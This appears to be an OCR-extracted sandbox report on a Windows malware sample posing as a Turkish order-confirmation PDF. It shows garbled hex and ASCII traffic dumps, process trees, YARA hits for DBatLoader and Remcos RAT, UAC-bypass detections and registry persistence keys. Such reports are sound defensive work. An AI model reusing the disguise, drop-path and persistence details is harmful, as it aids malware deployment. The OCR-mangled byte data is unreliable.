07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea Oc 4a 80 c0 bd 08 3¢ 75 82 c9 7f 68 7a bc 84 64 d0 ce
ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5¢c 0d 9c Oe 11 6f 8b 2f fO ee 71 95 35 Ob b5 fd 4a 1b 42 f4 3e a9 77 5¢
33 d1 9651 89 8322 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 €8 el Oe d8 15 99
8d fb d1 79 ad 40 Oe b9 bb 42 47 46 fd a6 7b f2 50 9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44
9b ad 00 b6 bc ca 0a be 37 59 6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de €2 82 2d 87 47 cd 4d 88 5c 20 48
2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52

Data Ascii: 9>H=M8alg7b?hST@0aT>dJ<uhzdn%5a}q\0/q5IB>W\3Q"d/hR&Vby @BGF{P m$y+KzM2D7YUmen&6kSU-
GM\ H*@Rdk5VV<DR

Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4
28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a al 44 6b dd d6 38 60 b7 el 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca Of 3c 26 5c Of 50 74
61 38 8a8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a e6 41 dO 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da
78 a5 f5 ¢6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 Of e8 67 73 51 ff 63 07 64 12 75 6¢ dO c0 87 d3 05 27 ff 42 Ob a9

57 44 c9 c6 47 29 84 97 Oe 26 67 77 €6 2a 7a 58 3c f6 c4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 Ob 4b 00 81 4f ad e7 f9 Ob 85
2b 95 92 30 95 b6 ad a3 43 10 b6 37 {5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1e 76 fb 6e 45
d8 16 aa 25 4e c7 24 5e 70 42 el f3 57 da e3 43 5¢

Data Ascii: [b}F<HuNg3K)YO0(=,-<Ty%d*Dk8 um!<&\Pta8aD|o:A,Qe;H[xK|v9%<gsQcdul'BWDG)&gw*zX<-{L(! @KO+0
C700q!d0-vnE%N$*pBWC\

Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e Ob ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62
a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 Ob 4b 6¢ 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00
32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 Ob cO
c4 9e Oc ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 Oa a8 36
4211 50 c6 28 b5 ae 76 d8 52 34 47 3c fe c6 31 €6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca le 2f 49
66 fb 2a 21 41 b9 8 26 al 8f 74 f0 1f e0 2d 9d 42 c¢7 05 d1 61 de dd 4c e4 42 19 76 1c a6 al ea 9a 24 51 4c 61 ca 2e 7c
7d 4510 ed 11 1f dc 66 €8 96 52 02 8¢ b7 ff 8c ba 98 19 7¢

Data Ascii: s.Ya J#tofAbE;K{abDv/49zBnKIS8G7YFa2=uOhBqJv<=7V#a?<Z "o*W$dXJ)Qs6BP(VR4G<1vZ)Aj"@ 5f/If
*IA&t-BalLBv$QLa.[}EfR|

Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 Oc d2 fc ef db €5 38 38 61 37 €9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 5 1b
05 18 15 2d c7 e6 68 fbh 06 4a Oc 1b 4e dO df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 fO 9c c3 2f b2 f8 e0 5¢ 22 d6 1b Ob 88
55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 Oa 6d ff df 04 64 af a8 34
d2 d8 e0 66 8c 6¢ ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c¢7 ¢4 Ob 77 4c 8e 09 70 b2 b6 05
be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 5
9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 fO e5 9d 2d fa 61 c¢8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 {3 28 f3 4c 15
b4 90 Oe ca ae c4 5e 1a d6 38 2f 74 7d 7a 79 ca 04 9b

Data Ascii: "U4P88a75YtMh8i-hJN;lvs/\"UjU-:nfM XpL/QWUmd4fl$_k$&TRwLp nyf*[EB@8.9!fXvg0G]-aR?An(L"8/t}zy

Data Raw: 63 5¢ 5e e0 04 d4 a9 c7 95 e2 96 21 17 4b 1f Oa a0 5f c4 68 6a a9 49 d5 4f c4 05 fa €9 49 22 04 2b 5 cb cd 1e
a2 f1 84 a8 28 19 8b 08 ef 7c 5¢c 02 87 d6 4d 3b 77 75 44 a2 2a e5 79 7c ed 7a 58 f2 5b ce 6a 79 d1 15 b0 97 9a 66 ac Of
38 a5 b4 de 6f 79 95 87 5a f8 90 e9 c0 22 91 b2 85 31 1a 8e 9b c8 dc 43 52 cc e0 45 ed 61 6¢ 6¢ a3 e4 f5 63 a2 99 c4 d5
85 a2 55 cc 26 51 89 61 f0 52 46 57 4d 24 30 2d 48 41 cb ba 80 6a a2 56 07 4f 67 b4 9b a6 77 5a 96 fd ce 9e 31 2b 25 Of
ed 02 99 5b f6 09 54 61 3a 34 c3 33 6f 98 ae 46 3e 92 3d 02 e3 e2 ef fa a2 21 77 05 ba 49 b9 7b 19 37 7a 8e 87 3 6e c0
f4 5d 7c d9 aa 0d 1c 3e 3d ce 3d 39 bf ca 82 9b aa 23 ¢7 d4 16 e3 57 c8 cl be 77 8d f2 77 4f c8 18 4a b6 5f 70 4a c2 61
ce Oe 3e 35 da Oc ee 92 f2 25 48 16 85 ba 78 00 e0 da

Data Ascii: c\MK_hjlOl"+(\\M;wuD*y|zX[jyf8oyZ"1CREallcU&QaRFWM$0-HA]VOgwZ 1+%[ Ta:430F>=lwI{7zn][>==
#WwwOJ_pJa>5%Hx

Data Raw: c0 6a 5f 6¢ f4 7f 96 38 ¢7 b9 77 bd 8d 03 cb d5 b5 bc d6 00 ae e0 b3 c1 95 81 b3 ef ae 6b ff 73 4c 89 ac e6 7b
c0 5d 1f b4 46 a2 ed 03 fe f4 26 9e 03 f6 ca 73 b6 f9 04 f1 35 64 b7 c3 68 0d Oa b1 90 c2 63 36 29 4d 31 7c 05 Oa c3 a6
3b 47 e8 59 1e fd b4 e8 23 48 94 d2 c6 be 74 68 36 b9 28 7c fc 14 30 53 92 11 ¢3 b9 2f 9e 91 Oc €O fd df 69 d4 55 d7 19
9f e1 99 6b 69 59 50 8b 12 f5 23 cc €6 d5 a2 91 5f 62 dO b8 52 ba 10 b3 88 ee 3f b0 f2 55 e0 93 4d 2f fc 5¢ 33 98 29 38
76 €5 0c 80 1c a2 90 15 a6 d4 c0 d3 d6 a2 54 39 ed e3 ff 26 2e c3 e3 41 a5 68 cc ea 66 el d1 c8 52 76 19 f8 26 cO0 fc 22
ac ce 3d 13 bd d3 31 04 bb Oc 4 f3 ¢3 34 84 12 1a cf 42 a5 99 01 89 ec c0 bd 67 c4 6d 83 c1 3f 9c 36 7e f8 0d 50 ff d8 al
4c 62 66 54 dO 1e 47 c7 80 8d 83 78 82 51 ff a6 de

Data Ascii: j_I8wksL{JF&s5dhc6)M1|;GY#Hth6(|0S/iUkiYP#_bR?UMAN3)8vT9&. AhfRV&"=14Bgm?6~PLbfTGXQ

Data Raw: 27 6e 93 54 d4 30 ac 64 c7 ca 2e 58 c¢5 19 3e ca b6 d4 71 f7 89 de ef 13 52 5¢ dc 4f 3d 8a 53 €9 04 5 9e be 71
7f 24 de 47 73 1b 1f 5¢ 1a cc ba 30 fa 78 dc 7c b2 9c 3d 36 11 d8 22 e2 7e 3f 47 b9 68 80 b5 9a 85 8b b8 d1 e2 3b 24 28
68 d9 d1 c8 a0 64 5b 0d f2 61 f9 18 d0 cb 60 44 b6 2b b8 d9 d0 17 c5 e2 b9 db 77 17 9b 2f f2 27 3f 02 e7 ca b5 21 11 6a
61 cb f8 54 bc 2a 61 ca b2 68 02 8f 39 34 a0 11 6a 47 64 4c 72 b3 3f 6d cc 00 Oc a8 34 5¢ 6b 47 55 ee 9d c7 5e a3 73 86
82 20 a6 ba 6b 1c bd 6d d0 6d al 10 49 3 63 ef 40 f9 67 7e 44 6b f1 9d 66 d8 39 8b 2c 8d 06 64 de c5 4d al ae dO 1d 4c
e8 be 69 c4 7e 88 de 43 fe a0 90 e0 fc d4 eb fb 18 e4 3 69 a2 2a a4 61 8d cc 31 22 ¢2 24 19 05 22 d7 c1 7e c1 77 10 43
fc 9e 3c e2 b7 d0 22 32 63 51 08 38 58 4e 50 c2 02 3c

Data Ascii: 'nT0d.X>qR\O=Sq$Gs\0x|=6"~?Gh;$(hd[a D+w/'?!jaT*ah94jGdLr?m4\kGU"s kmmlc@g~Dkf9,dMLi~Ci*
al"$"~wC<"2cQ8XNP<

Data Raw: 30 32 c8 dc 5e 60 7a ae 30 b8 de aa b9 5a 39 24 00 66 08 54 c8 2¢ 3c 41 42 f0 5d fa Oc 1b 13 ad ff ec 72 d9
8d bd b8 47 da 20 8d f4 5d e7 82 ad b5 74 7d 1f 2d 0f 82 a3 08 ea 97 c2 9f 23 92 4b 4c 06 4c 4f 53 6a 32 94 90 a4 e7 2f
b3 21 51 69 e5 a3 08 9e df a0 8a 52 85 9f a7 12 e2 07 20 4f 8¢ 16 15 9d c0 19 64 50 1c 6f d1 56 1a 77 cc a4 58 c2 8a 6b
cacf 43 2d 31 0d 56 ab f3 b4 e5 a9 28 dd 62 20 2b 49 12 c2 80 d6 86 9a b6 95 9c d1 98 8a a8 13 0d aa fc e6 32 ff 12 cd
6adb a4 d2 71 52 87 f8 54 b3 42 95 fd a7 39 8 13 42 6e a5 f8 Oc 82 Oc 2d 75 6e af 12 9c ¢8 bc 03 71 b5 e8 47 61 b6 3d
e6 ac 10 52 65 cd 57 23 94 18 6a 27 c4 bc 48 7d 5b 6d 1d 19 2a Oc 29 d8 7d 1f 1d eb 8b 94 e3 df d8 d4 73 8b b8 c8 21 dO
7526 b8 ed 96 a0 16 8b ac 7b 82 1b 16 f4 b2 10 0f c4 d3

Data Ascii: 02"'z0Z9$fT,<AB]rG ]t}-#KLLOSj2/!QiR OdPoVwXkC-1V(b +I2jgRTBIBN-unqGa=ReW#j'H}[m*)}s!u&{
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Timestamp transferred Direction
2022-06-26 07:43:17 UTC 811 IN
2022-06-26 07:43:17 UTC 815 IN
2022-06-26 07:43:17 UTC 820 IN
2022-06-26 07:43:17 UTC 831 IN
2022-06-26 07:43:17 UTC 836 IN
2022-06-26 07:43:17 UTC 852 IN
2022-06-26 07:43:17 UTC 863 IN
2022-06-26 07:43:17 UTC 879 IN
Statistics

Behavior
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Data

Data Raw: eb 6d 09 d5 0d 5f 06 74 6a 69 d7 f7 dc 3f c4 bb 2b bb 7a 08 06 35 51 8e 37 b8 4b 6¢ 3a f9 6b fa 75 82 f8 8¢ 25
7d 5e ff a5 50 ab f6 0d 5e 89 f0 c4 59 34 17 76 78 d2 90 57 8f Ob ca 09 c2 5b 16 13 74 5f b2 3b 07 66 d8 61 e3 4b ac 00
c8 a0 789 fb 8¢ fO cb 82 8c 4b 33 a4 f0 b4 2a 7f 69 f3 8d 89 03 3f 20 e0 2a a7 {7 1a f4 df 45 2c 58 1d 6e 48 le 7e c9 c6
72 6e c1 8504 59 8d 4c f2 c5 98 fa 52 e2 f2 ef fe 01 b7 el 28 9f 02 10 42 a8 48 8e 11 13 2d Oa 1c ee 27 64 6b 47 2c e4
8a bb 54 3c 1e c3 1e ee 01 19 31 09 cc 6a f5 e5 3b al 44 7e 38 Ob 5a 01 27 4e 56 2f a8 3f 68 f1 f7 46 b9 fd 59 2c 8d 9f a9
el 2c 35 bd 99 4b 39 77 09 e4 e0 aa b2 46 3f 15 a7 19 4b 9c a5 54 93 6¢ 8e c7 6f 5d bc 30 91 bb 40 1e 6b 88 31 b5 df 1f
de 48 0c 06 c5 0b 19 50 2d el 90 71 d7 5¢ 9f 2¢

Data Ascii: m_tji?+z5Q7Kl:ku%}*"P Y 4vxWIt_;fakxK3*i? *E,XnH~mYLR(BH-'dkG, T<1j;D~8Z'NV/?hFY,,5KOWF?KT
lo]J0@k1HP-q\,

Data Raw: 6¢ bc be 43 ba 80 4a 55 1d d0 2c 51 54 a9 84 72 85 1d c6 a9 30 b1l aa 88 f2 7e fe f6 2d 88 d2 f2 7b 12 9e 7a
db 6a 01 7f f0 25 89 ¢3 70 60 bd 4b 9f 2a el d5 5¢ f4 60 39 37 dd fO da 02 e3 a3 23 89 48 ee al 04 44 5c¢ 62 c1 38 99 93
05 cc 2a bd c4 db 59 81 95 42 40 0f 04 12 Of cf 83 09 d4 7e 6a 0a 42 d0 18 42 e3 f7 03 fe 94 42 b4 c6 41 dO b0 47 1c 8c
002ad7 7c 71 db 8f ad 3a 64 0a 91 5e 27 6¢ 12 de 48 56 72 28 ab 8b Oc 62 75 ef 01 51 0a Oc f1 5a d5 86 44 a3 97 f3 60
d379 70 8f 0a b5 d6 71 18 al a5 52 92 b5 35 0a 37 22 cd 2a 31 29 22 30 de la al 3f b2 b8 €6 51 a2 45 74 bc c1 02 cb
€8 96 6b b1 19 0f d6 d8 6d 6d 6b 40 f1 15 7c de €3 31 1b c8 a9 d1 5c ea €8 ad 88 d7 11 f4 69 cd 53 64 93 25 b4 f6 cd 28
ef b7 40 ef be 32 1f d8 53 56 c1 9a ae de bc 4f e0 01 cO fa

Data Ascii: ICJU,QTr0~-{zj%p K*\'97#HD\b8*YB@~jBBBAG*|q:d"IHVr(buQZD ypgR57"*1)"0?QEtkmmk@|1\iSd%(@
2SVO

Data Raw: ¢6 6d Oc fa 29 c¢1 70 1b 51 bc 48 f5 81 62 00 28 17 11 89 11 cb 29 6d Oe cd 92 25 bd 66 2a a6 a0 00 5a cd 29
57 7b db 19 25 77 80 17 9a 18 28 14 2c da 24 fd 9b b0 54 a4 09 1le cb 12 f7 bd 41 7c 64 74 3c c9 3d 3b 5c cf ab 90 91 de
54 5d 09 06 34 ea 36 d7 9c 50 c4 4b f0 29 96 €0 ac 4e 6f b4 41 30 10 3d 0d 0d 37 d0 49 8d 85 65 1b 11 8e 8a 98 €0 72
5e 4d d8 dd 4e 50 d1 20 f4 5e 6f 44 09 43 f7 bb 35 48 19 ca 4e cf 69 ef fe €8 0a 22 d4 ca Oc 15 ea c0 b6 73 46 b5 6e 88
18 c8 5f e9 af 8550 81 dd 7b 11 d9 f0 20 d6 e3 f8 d7 07 62 e7 2d e3 13 fa d4 91 59 2c c6 cd al 51 d0 49 e9 ca 52 e8 6f
Oc a0 82 2b 65 b9 eb f5 0d aa 10 c0 d6 98 ea 73 13 53 a8 33 c7 e5 ae 2a 3c ba 56 62 6¢ f9 d2 90 a5 e0 4e a5 44 dO 3a f8
155a9d 70 3e ¢8 5d 12 ¢6 50 88 3c al 4a 11 fd d7 8e e4 7b

Data Ascii: m)pQHb()m%f*Z)W{%w(,$TA|dt<=;\T]46PK)NoAO=7ler"MNP "oDC5HNi"sFn_P{ b-Y,QIRo+esS3*<VbIND:
Zp>1P<J{

Data Raw: 10 75 Oa 59 57 81 33 0a 5e 71 c5 49 d7 50 03 12 fa d5 95 b4 3 9f 98 93 39 02 6a af aa 72 87 c6 cb a5 b1l f8 {7
5b 2f 15 e5 7b 4e 1c 7e c0 71 fO 5b 2a b5 ee a5 89 70 99 16 0d cf fb e2 cb ac bl f1 ad c3 2f fe 2a 1b 8e 4e 03 1e 7b 24 Ob
3e e5 11 ce fl e3 d3 c4 bf 49 ¢9 74 73 37 69 4a 65 d1 70 87 18 f5 41 98 85 ba d7 1e cc 70 a0 b9 45 79 9d ba 84 76 c3 03
¢5 f3 2553 89 d1 e3 7e cc 28 63 3e 57 27 82 b5 05 19 36 9f ca 6a 22 07 7e 93 ca fe 11 ec 46 46 27 a5 23 4c 66 €9 9d el
53 2b 6f 93 e3 bd 1d 1b 57 c2 5f 8b 24 bb 45 39 ce f2 44 ce b9 85 ea 9b ab e8 82 8¢ f5 ed e6 59 dd 92 b3 8d 20 bd b1 Oa
4b 6a 63 a3 6d ac 8c e5 d4 70 05 ba db 7b ab 38 57 cc 89 c¢2 31 76 b7 43 4c 39 bd c5 46 64 9b d6 fc 68 62 4e ee 11 2d
80 6b d7 aa 73 19 83 8d 60 59 68 f9 bb 8d a9 05 63 ec

Data Ascii: uYW3qIP9jr[{N~q[*p/*N{$>Its7iJepApEyv%S~(c>W'6j'~FF'#LfS+oW_$EIDY Kjcmp{8W1vCLIFdhbN-ks Yhc

Data Raw: 31 76 44 1c c2 43 1f 51 2d 76 31 ef 22 c1 34 3d d4 96 16 30 5d 12 54 f1 8e 42 29 4f 8¢ 0d bc ea 8f fd d5 b8 22
4a 4f 04 c2 84 5d 55 ef 87 06 b8 b5 fa 9c 2e 03 8a 4f 90 04 97 12 aa d0 d6 df 6¢ d5 e6 Ob dc 2b 03 c4 93 1f 74 06 76 07
2472 7e 50 fc 03 9 b2 fb b3 a0 40 34 1b 99 8b f1 3b 11 9d 77 f3 86 12 04 77 4f b8 69 ec f4 bd 50 8b 25 c7 40 9f 85 88 fa
12 394 5f d3 07 69 1b 20 38 9f db 15 95 8f 2c 13 42 f5 20 8¢ bd 54 57 80 7d bd 2d ba el 3a d7 9b c2 1d bc 5a fb Ob f1
€9 68 38 60 e0 97 36 6a ca 67 45 ec 2b 8f e5 f5 c8 f3 6b b2 30 33 34 ce bd e0 39 e6 5b 30 fa f2 16 46 a2 c9 f9 7d f5 62 31
04 23 72 c3 f5 4c 8b 9b 44 b3 ba d3 5¢ bl 2d ff 43 a3 6d 77 cd e5 76 af 01 be 72 bf d6 a6 b0 ec ef 74 cd 9f 57 96 5a 7f b3
df 37 ae ¢3 96 6f 18 fa 6d 3c fd 75 c0 02 f3

Data Ascii: 1vDCQ-v1"4=0]TB)O"JO]U.Ol+tv$r~P@4;wwOiP%@_i 8,B TW}-:Zh8 6jgE+k0349[0F}b1#rLD\-CmwvrtWZ
7om<u

Data Raw: 73 bc ae fc a3 a2 31 be ad 92 38 fd 67 a5 e6 72 92 1a 64 35 ea 8c 45 d1 45 a3 e7 1f b9 a9 a6 Oa 92 39 d9 0f
91 3c bc e0 00 a6 ca bd el 72 00 7e 46 5b d9 00 7e b4 70 85 66 a2 c8 72 9 44 f2 2¢ 74 51 e2 fe 5¢ 79 6¢ 07 ea d4 ab cb
d4 3b fe 80 7d 9e 94 37 57 40 a3 40 31 45 45 33 00 f2 2c b1 d1 e8 7b c6 fa 44 53 3d af d2 36 3e 07 76 d6 d2 81 d7 02 74
64 7e 29 Oe ca 6f be 57 40 7c ¢9 21 3c 1d 16 a2 d4 3f 9f dd 70 6f 67 87 6f e3 1c el Oe de ea Oc 14 1a 97 ed dd 34 66 44
4592 e6 60 36 63 8b c0 a4 2a e7 2b 7c c2 a0 11 3c 78 67 2e 09 5e 32 2e 96 d6 e5 44 d2 1b 49 51 61 b7 e6 f2 3¢ 35 47
90 Oa c7 5a 98 27 fe b8 57 a5 f6 1f 5¢ f1 e3 b5 d6 e7 bb 19 61 39 9b ce ff 6b f8 2b af 26 8e c6 db ce 5 6a 50 8b 4e 2¢ 60
9e e6 a3 dl 70 e2 e2 b2 9a bl aa 4e c2 c1 55 ab 3a 7d f2

Data Ascii: s18grd5EE9<r~F[~pfrD,tQ\yl;}7W@ @1EE3,{DS=6>vtd~)oW@|!<?pogo4fDE 6c*+|<xg."2.DIQa<5GZ'W\a
9k+&jPN, pNU:}

Data Raw: 0 55 d2 a4 ba 6b 88 7a 67 59 ec f4 69 5a df €8 Oc 85 d7 4d 37 55 73 9e 36 93 19 Oa 7f d4 bl a8 22 b ef cd a0
75 bd cd 1d 94 1d 67 6d 63 91 97 7a 0d 8¢ 33 45 45 48 94 €3 ad 35 76 al 9c 8e cc 68 76 11 f6 1d 89 1b 8a 9a c7 2d 5b
3f db 49 21 02 20 9d 75 1e b7 87 55 bd e4 da 4b b3 8a aa 23 ab 36 68 4e fd 5c 74 d8 al e6 36 36 51 75 58 9f 0a 77 29
0d 0 b0 11 6a ba 3e 26 69 8d 7f 4c 68 72 ca 61 44 92 22 81 6d f2 01 5e 82 88 13 cb 2 €7 91 ¢4 d0 6f dd 7a 9c 6f b6 53
40 61 8f 79 85 dd c9 fa 9e 3b 9d 11 32 87 45 60 3¢ 84 30 1d fd b1 77 21 9d 6c 3 3b 80 75 a0 60 d1 fc cO 3f 94 58 d2 f9
01 4e 5a 04 b5 36 32 72 01 9b 9b b9 60 61 c2 97 bc e7 db 38 18 {7 35 49 fa €5 91 06 9d 9d al 95 28 Of c4 61 04 95 00 a9
00 c9 57 d3 13 a5 bd 7f 3¢ 08 4c b9 ¢8 58 ea 58 7¢ 64 29 20

Data Ascii: UkzgYiZM7Us6"ugmcz3EEH5vhv-[21! uUUK#6hN\66QUXW)j>&iLhraD"m~0zoS@ay;2E <Ow!l;u*?XNZ62r'a
851(aW<LXX|d)

Data Raw: 77 9b 55 55 00 4a 77 2e 79 Oa 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00
75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77
9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55
5500 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a
77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 3c 85 8d 75 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73
2275 1c 696924 7322 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73
22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73

Data Ascii: wUUJw.y042}UUwJ].w.wuJ42}yJOudwUUJIw.y042}UUwJ.w.wuJ42}yJOudwUUJIw.y042}UUwd.w.wu
J42}yJOuIwUUIw.y042UUwd.w.wuJ42}tyJOuIwUUIw.y042 U Uwd.w.wud<uuii$s " uiiss uiiss " Huii$s"uii$s Huiiss uiiss"}
Juii$s"uii$s"Huiiss
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@ Yeni sipari#U015fi onaylay#U0131n..
@ logagent.exe

@ Eluiezilfw.exe

@ Eluiezilfw.exe

@ logagent.exe

@ DpiScaling.exe

@ Click to jump to process

System Behavior

Analysis Process: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe PID: 6356, Parent PID: 5760

General

Target ID: 0

Start time: 09:42:42

Start date: 26/06/2022

Path: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Wow64 process (32bit):

Commandline:

true

"C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe"

Imagebase: 0x400000

File size: 901632 bytes

MDS5 hash: 8E60C68E832622BOEBD88A612898A9F9
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Registry Activities

Key Value Created

Key Path

HKEY_CURRENT_USER\Softwar

e\Mic

Borland Delphi

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000000.00000002.315120211.0000000003610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000000.00000002.306973875.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000000.00000002.316837700.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_ UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
00000000.00000002.315970483.0000000003AEC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000000.00000002.317153227.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000000.00000002.312930120.0000000003050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
00000000.00000002.315787933.0000000003968000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000000.00000000.259960102.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security

Name Type Data Completion Count Source Address

Eluiezilfw unicode C:\Users\Public\Libraries\wflizeiulE.url  success or wait 1 3AESDSE

rosoft\Windows\CurrentVersion\

Run

Copyright Joe Security LLC 2022

Symbol

RegSetValueEx

A
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Analysis Process: logagent.exe PID: 6552, Parent PID: 6356

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

3

09:42:57

26/06/2022
C:\Windows\SysWOW64\logagent.exe

true

C:\Windows\System32\logagent.exe
0xea0000

86016 bytes
E2036AC444AB4AD91EECC1AB0FF7212F
true

true

C, C++ or other language

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:

00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT_variants, Description: unknown, Source:

00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
e Rule: INDICATOR_SUSPICIOUS_EXE_UACBYypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:

00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT_variants, Description: unknown, Source:

00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Registry Activities

Key Created
Key Path

Offset Length

HKEY_CURRENT_USER\Software\Remcos-MZPAVR\

Key Value Created
Key Path

HKEY_CURRENT_USER\Softwar

e\Remcos-MZPAVR

HKEY_CURRENT_USER\Softwar

e\Remcos-MZPAVR

Name Type Data

exepath binary
1E OE 09 C2 35 AE 31 4E 2F 45 F5
B9 15 20 EO 2B E8 FF F7 OA 88 FD

C1 14 FF CC 77 E3 3D 4B 98 97 46

Completion

Completion

success or wait

Completion

D4 82 C4 15 F8 09 A9 D2 29 01 E2 49 success or wait

F2 5B 72 57 8A 59 63 EF D2 EE 95 18

F9 84 75 5E 9E CA B7 A2 OE

licence unicode

2F30

Analysis Process: Eluiezilfw.exe PID: 6880, Parent PID: 3968

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

8

09:43:06

26/06/2022
C:\Users\Public\Libraries\Eluiezilfw.exe
true

"C:\Users\Public\Libraries\Eluiezilfw.exe"

Copyright Joe Security LLC 2022

21CA289F574F40A85B9CADA37AEA  success or wait

Count Source Address

Count Source Address

1 40B71B

